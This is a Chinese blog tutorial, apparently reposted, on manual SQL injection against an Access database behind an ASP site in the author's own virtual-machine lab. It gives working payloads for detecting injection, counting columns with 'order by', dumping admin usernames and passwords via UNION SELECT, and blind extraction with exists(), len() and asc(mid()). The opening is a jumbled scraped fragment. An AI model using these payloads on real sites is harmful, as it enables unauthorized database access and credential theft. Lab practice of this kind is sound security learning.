Access手工註入
阿新 • • 發佈:2018-08-07
.cn nio password exist 技術分享 times 實驗 轉碼 acc 。
判斷到22的時候是正常的,到23的時候報錯了,說明,字段長度是22。
然後來猜解表名,使用的命令是:
發現這裏爆出一個
圖中的 ,判斷是否存在
沒有報錯,說明存在
沒有報錯說明存在,接著看看有沒有
發現也沒有報錯,說明存在。
然後判斷這兩個字段對應數據的長度。
因為我事先知道對應關系,所裏我就直接判斷
使用語句是
可以使用 來縮小範圍。
這樣我就判斷出了數據的長度,然後根據數據長度反推數據。
使用的命令是
我使用的命令是
可以看到沒有報錯,這裏
以此類推,猜解出數據。
access手工註入
哈哈哈哈,,,我顧北清又回來啦,接著更新。
實驗環境:win2008R2虛擬機,物理機(也就是我的win10)。
搭建環境用的是access+asp源碼。
環境搭建可以參照這裏,不同的是在第六步勾選應用程序開發
選項。
環境搞完之後大概是這個樣子的:
接著來手工註入一下。
首先判斷有沒有註入點,隨便點進一個頁面:
%20
是空格的轉碼。
and 1=1
沒有出錯,再來試試and 1=2
。
出錯了,說明它將這條語句帶入查詢了,說明存在註入點。
1.聯合查詢法
先判斷字段長度,使用order by 猜測的長度
。
我這裏猜測長度是22(因為我事先知道/滑稽臉,所以命令是order by 22
判斷到22的時候是正常的,到23的時候報錯了,說明,字段長度是22。
然後來猜解表名,使用的命令是:
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
.admin
是我猜解的表名。發現這裏爆出一個
3
和15
,說明3
和15
這兩個位置存在數據,接著來用猜解的數據替換這兩個位置。圖中的
admin
和password
是猜解的字段,如果此阿姐正確就會爆出這兩個位置的數據,這樣就拿到了賬號密碼。
2.逐字猜解法
首先判斷是否存在某個表:
這裏使用的命令是and exists ( select * from admin)
admin
表。沒有報錯,說明存在
admin
表,接著來判斷admin
表中的字段,這裏使用and exists ( select admin from admin)
命令判斷在admin
表中是否存在admin
字段。沒有報錯說明存在,接著看看有沒有
password
字段。發現也沒有報錯,說明存在。
然後判斷這兩個字段對應數據的長度。
因為我事先知道對應關系,所裏我就直接判斷
admin
的長度是5,password
的長度是16。使用語句是
and (select top 1 len(列名) from admin)=長度值
。可以使用
and (select top 1 len(列名) from admin)>長度值
這樣我就判斷出了數據的長度,然後根據數據長度反推數據。
使用的命令是
and (select top 1 asc(mid(列名,第幾位,1)) from admin)=長度值
,這裏的長度值是ASCII碼。我使用的命令是
and (select top 1 asc(mid(admin,1,1)) from admin)=97
可以看到沒有報錯,這裏
97
對應的是a
,而我的admin
列裏的數據是admin
,剛好對應,如果換成98,那麽就會報錯。以此類推,猜解出數據。
Access手工註入